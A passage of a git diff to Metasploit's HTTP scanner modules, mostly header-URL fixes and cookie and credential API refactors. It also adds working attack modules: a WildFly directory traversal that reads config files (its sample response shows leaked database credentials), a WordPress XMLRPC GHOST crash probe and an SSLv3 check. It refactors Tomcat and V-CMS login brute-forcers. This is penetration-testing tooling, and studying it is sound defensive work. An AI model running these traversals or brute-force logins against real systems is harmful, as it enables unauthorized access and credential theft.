'http://sqlmap.sourceforge.net'], - ] - )) - - register_options( - [ - OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap' ]), - OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST']]), - OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]), - OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]), - OptString.new('DATA', [ false, "The data string to be sent through POST" ]), - OptString.new('OPTS', [ false, "The sqlmap options to use" ]), - OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", true ]) - ], self.class) - end - - # Modify to true if you have sqlmap installed. - def wmap_enabled - false - end - - # Test a single host - def run_host(ip) - - sqlmap = File.join(datastore['SQLMAP_PATH'], 'sqlmap.py') - unless File.file?(sqlmap) - print_error("The sqlmap script '#{sqlmap}' could not be found") - return - end - unless File.readable?(sqlmap) - print_error("The sqlmap script '#{sqlmap}' is not readable") - return - end - unless File.executable?(sqlmap) - print_error("The sqlmap script '#{sqlmap}' is not executable") - return - end - - data = "" - data << datastore['DATA'].to_s - opts = datastore['OPTS'] - method = datastore['METHOD'].upcase - - wmap_target_host = datastore['VHOST'] if datastore['VHOST'] - - sqlmap_url = (datastore['SSL'] ? "https" : "http") - sqlmap_url << "://" - sqlmap_url << wmap_target_host - sqlmap_url << ":" - sqlmap_url << wmap_target_port.to_s - sqlmap_url << "/" - sqlmap_url << datastore['PATH'] - - if method == "GET" - sqlmap_url << '?' - sqlmap_url << datastore['QUERY'] - elsif method == "POST" - data << "&" - data << datastore['QUERY'] - end - - cmd = [ sqlmap ] - cmd += [ '-u', sqlmap_url ] - if opts - cmd << opts - end - if data - cmd += [ '--data', data ] - end - if datastore['BATCH'] == true - cmd << '--batch' - end - - print_status("exec: #{cmd.inspect}") - system(*cmd) - end - -end diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index 970bea0a69..764a29e452 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 812b5a5700..1ba09fc870 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index 8a75b1e01d..fb132e01e5 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ssl_version.rb b/modules/auxiliary/scanner/http/ssl_version.rb new file mode 100644 index 0000000000..9dbca61872 --- /dev/null +++ b/modules/auxiliary/scanner/http/ssl_version.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'HTTP SSL/TLS Version Detection (POODLE scanner)', + 'Description' => %q{ + Check if an HTTP server supports a given version of SSL/TLS. + + If a web server can successfully establish an SSLv3 session, it is + likely to be vulnerable to the POODLE attack described on + October 14, 2014, as a patch against the attack is unlikely. + }, + 'Author' => 'todb', + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 443, + 'SSLVersion' => 'SSL3' + }, + 'References' => + [ + [ 'URL', 'http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html'], + [ 'OSVDB', '113251'], + [ 'CVE', '2014-3566'] + ], + 'DisclosureDate' => 'Oct 14 2014' + ) + + register_options( + [ + OptEnum.new('SSLVersion', [true, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]) + ] + ) + + end + + # Fingerprint a single host + def run_host(ip) + begin + connect + res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) + fp = http_fingerprint(:response => res) + if fp + vprint_status("#{peer} connected and fingerprinted: #{fp}") + # TODO: Interrogate the connection itself to see what version + # was used. Where that actually lives is eluding me. :/ + if datastore['SSLVersion'] == 'SSL3' + print_good("#{peer} accepts SSLv3") + report_poodle_vuln(ip) + end + end + rescue ::OpenSSL::SSL::SSLError => e + ssl_version = e.message.match(/ state=([^\s]+)/)[1] + vprint_status("#{peer} does not accept #{ssl_version}") + rescue ::Timeout::Error, ::Errno::EPIPE + ensure + disconnect + end + end + + def report_poodle_vuln(ip) + report_vuln( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module #{self.fullname} confirmed SSLv3 is available", + :refs => self.references, + :exploited_at => Time.now.utc + ) + end + +end diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index 4dd71493e3..20a6a414ae 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb index d34f2169d6..1c2f5a2132 100644 --- a/modules/auxiliary/scanner/http/svn_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index b8627ef821..3a388d677a 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb index d4d6410a00..3c141366c7 100644 --- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index 7a5057147e..a46d2ab2ec 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -86,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary last_login = '' #A hidden field in the login page res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'}) - if res and res.headers['Set-Cookie'] - sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' + if res and !res.get_cookies.empty? + sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' end if res @@ -147,4 +147,4 @@ class Metasploit3 < Msf::Auxiliary download_file(sid, fname) end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 53c80f241c..70d9888b49 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index ab4d7484f9..e02dd1b369 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary 'data' => post_data, }, 20) - if res and res.code == 200 and res.headers['Set-Cookie'] + if res and res.code == 200 and !res.get_cookies.empty? vprint_error("#{target_url} - Apache Tomcat #{user} not found ") elsif res and res.code == 200 and res.body =~ /invalid username/i vprint_error("#{target_url} - Apache Tomcat #{user} not found ") diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 92c6141166..b7e07631a6 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/tomcat' class Metasploit3 < Msf::Auxiliary @@ -56,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptString.new('URI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]), + OptString.new('TARGETURI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -70,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin - uri = normalize_uri(datastore['URI']) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', @@ -91,60 +93,49 @@ class Metasploit3 < Msf::Auxiliary return end - each_user_pass { |user, pass| - do_login(user, pass) - } - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def do_login(user='tomcat', pass='tomcat') - vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") - success = false - srvhdr = '?' - uri = normalize_uri(datastore['URI']) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'username' => user, - 'password' => pass - }, 25) - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("http://#{rhost}:#{rport}#{uri} not responding") - return :abort - end - return :abort if (res.code == 404) - srvhdr = res.headers['Server'] - if res.code == 200 - # Could go with res.headers['Server'] =~ /Apache-Coyote/i - # as well but that seems like an element someone's more - # likely to change - success = true if(res.body.scan(/Tomcat/i).size >= 5) - success - end + cred_collection = prepend_db_passwords(cred_collection) - rescue ::Rex::ConnectionError => e - vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}") - return :abort - end + scanner = Metasploit::Framework::LoginScanner::Tomcat.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) - if success - print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Tomcat Application Manager\"", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - return :next_user - else - vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'") - return + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end end end + end diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index 36773307dc..8fccbd5c51 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 50e2844490..41994b6c9e 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index 783fd42106..188088b406 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 797af7c368..5b65cf02a1 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Typo3 Login Bruteforcer', 'Description' => 'This module attempts to bruteforce Typo3 logins.', - 'Author' => [ 'Christian Mehlmauer ' ], + 'Author' => [ 'Christian Mehlmauer' ], 'License' => MSF_LICENSE ) end diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 21610d3ab7..1c7b103f57 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,14 +10,15 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'V-CMS Login Utility', 'Description' => %q{ - This module attempts to authenticate to an English-based V-CMS login interface. - It should only work against version v1.1 or older, because these versions do not - have any default protections against bruteforcing. + This module attempts to authenticate to an English-based V-CMS login interface. It + should only work against version v1.1 or older, because these versions do not have + any default protections against bruteforcing. }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE @@ -31,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms2/']) + OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/']) ], self.class) end @@ -39,11 +40,11 @@ class Metasploit3 < Msf::Auxiliary def get_sid res = send_request_raw({ 'method' => 'GET', - 'uri' => @uri.path + 'uri' => @uri }) # Get the PHP session ID - m = res.headers['Set-Cookie'].match(/(PHPSESSID=.+);/) + m = res.get_cookies.match(/(PHPSESSID=.+);/) id = (m.nil?) ? nil : m[1] return id @@ -52,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary def do_login(user, pass) begin sid = get_sid + if sid.nil? + vprint_error("#{peer} - Failed to get sid") + return :abort + end + res = send_request_cgi({ 'uri' => "#{@uri}process.php", 'method' => 'POST', @@ -62,9 +68,7 @@ class Metasploit3 < Msf::Auxiliary 'sublogin' => '1' } }) - location = res.headers['Location'] - res = send_request_cgi({ 'uri' => location, 'method' => 'GET', @@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary return :skip_user when /Invalid password/ vprint_status("#{peer} - Username found: #{user}") - else /\/ + when /\/ print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") report_auth_info({ :host => rhost, @@ -107,8 +111,12 @@ class Metasploit3 < Msf::Auxiliary def run @uri = normalize_uri(target_uri.path) - @uri.path << "/" if @uri.path[-1, 1] != "/" + @uri << "/" if @uri[-1, 1] != "/" + super + end + + def run_host(ip) each_user_pass { |user, pass| vprint_status("#{peer} - Trying \"#{user}:#{pass}\"") do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 3bc4f965f5..dac8fa397a 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb index 957e0cb444..4d0484a96a 100644 --- a/modules/auxiliary/scanner/http/vhost_scanner.rb +++ b/modules/auxiliary/scanner/http/vhost_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb index dde952f390..68e1922d5e 100644 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index b603f3d265..600db46d77 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(9084), OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), - OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini']) + OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) ], self.class) end diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index 5d848d4df5..163932d52a 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 05fd43a49d..9e768085ce 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index ccdb659475..74bf30c54b 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index 46229b33d6..42970aac95 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb index 1ef230b02b..4fc1b55c75 100644 --- a/modules/auxiliary/scanner/http/webdav_website_content.rb +++ b/modules/auxiliary/scanner/http/webdav_website_content.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index 247f866696..e24408cba2 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/wildfly_traversal.rb b/modules/auxiliary/scanner/http/wildfly_traversal.rb new file mode 100644 index 0000000000..cf05c0858a --- /dev/null +++ b/modules/auxiliary/scanner/http/wildfly_traversal.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WildFly Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final + web server running on port 8080, named JBoss Undertow. The vulnerability only affects to + Windows systems. + }, + 'References' => + [ + ['CVE', '2014-7816' ], + ['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'], + ['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'], + ['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4'] + ], + 'Author' => 'Roberto Soares Espreto ', + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 22 2014' + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']), + OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1]) + ], self.class) + end + + def run_host(ip) + vprint_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}") + + traversal = "..\\" * datastore['TRAVERSAL_DEPTH'] + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}" + }) + + if res && + res.code == 200 && + res.headers['Server'] && + res.headers['Server'] =~ /WildFly/ + vprint_line(res.to_s) + fname = File.basename(datastore['RELATIVE_FILE_PATH']) + + path = store_loot( + 'wildfly.http', + 'application/octet-stream', + ip, + res.body, + fname + ) + print_good("#{peer} - File saved in: #{path}") + else + vprint_error("#{peer} - Nothing was downloaded") + end + end +end + +=begin +GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1 +User-Agent: curl/7.38.0 +Host: 127.0.0.1:8080 +Accept: */* + +HTTP/1.1 200 OK +Connection: keep-alive +Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT +X-Powered-By: Undertow/1 +Server: WildFly/8 +Content-Type: text/xml +Content-Length: 19697 +Date: Wed, 22 Oct 2014 16:32:08 GMT + + + + + + +...snip... + + + +jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE +h2 + +sa +sa + + + + +org.h2.jdbcx.JdbcDataSource +...snip... +=end diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb new file mode 100644 index 0000000000..21da03291e --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner', + 'Description' => %q{ + This module can be used to determine hosts vulnerable to the GHOST vulnerability via + a call to the WordPress XMLRPC interface. If the target is vulnerable, the system + will segfault and return a server error. On patched systems, a normal XMLRPC error + is returned. + }, + 'Author' => + [ + 'Robert Rowley', + 'Christophe De La Fuente' , + 'Chaim Sanders' , + 'Felipe Costa' , + 'Jonathan Claudius' , + 'Karl Sigler' , + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0235' ], + [ 'URL', 'http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html'], + [ 'URL', 'http://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html'] + ] + )) + + register_options( + [ + OptInt.new('LENGTH', [false, 'Payload length', 2500]), + ], self.class) + end + + def length + datastore['LENGTH'] + end + + def run_host(ip) + unless wordpress_and_online? + print_error("#{peer} - Looks like this site is no WordPress blog") + return + end + + unless wordpress_xmlrpc_enabled? + print_error("#{peer} - XMLRPC interface is not enabled") + return + end + + ghost = "0" * length + payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php" + xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload) + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + if res.nil? || res.code == 500 + print_good("#{peer} - vulnerable to GHOST") + report_vuln( + :host => ip, + :proto => 'tcp', + :port => datastore['RPORT'], + :name => self.name, + :info => "Module #{self.fullname} found GHOST vulnerability", + :sname => datastore['SSL'] ? "https" : "http" + ) + else + print_status("#{peer} - target not vulnerable to GHOST") + end + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index f48d4e970d..95e83e994a 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,14 +13,14 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Wordpress Brute Force and User Enumeration Utility', - 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility', + 'Name' => 'WordPress Brute Force and User Enumeration Utility', + 'Description' => 'WordPress Authentication Brute Force and User Enumeration Utility', 'Author' => [ 'Alligator Security Team', 'Tiago Ferreira ', 'Zach Grace ', - 'Christian Mehlmauer [ @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) unless wordpress_and_online? - print_error("#{target_uri} does not seeem to be Wordpress site") + print_error("#{target_uri} does not seem to be WordPress site") return end @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary # 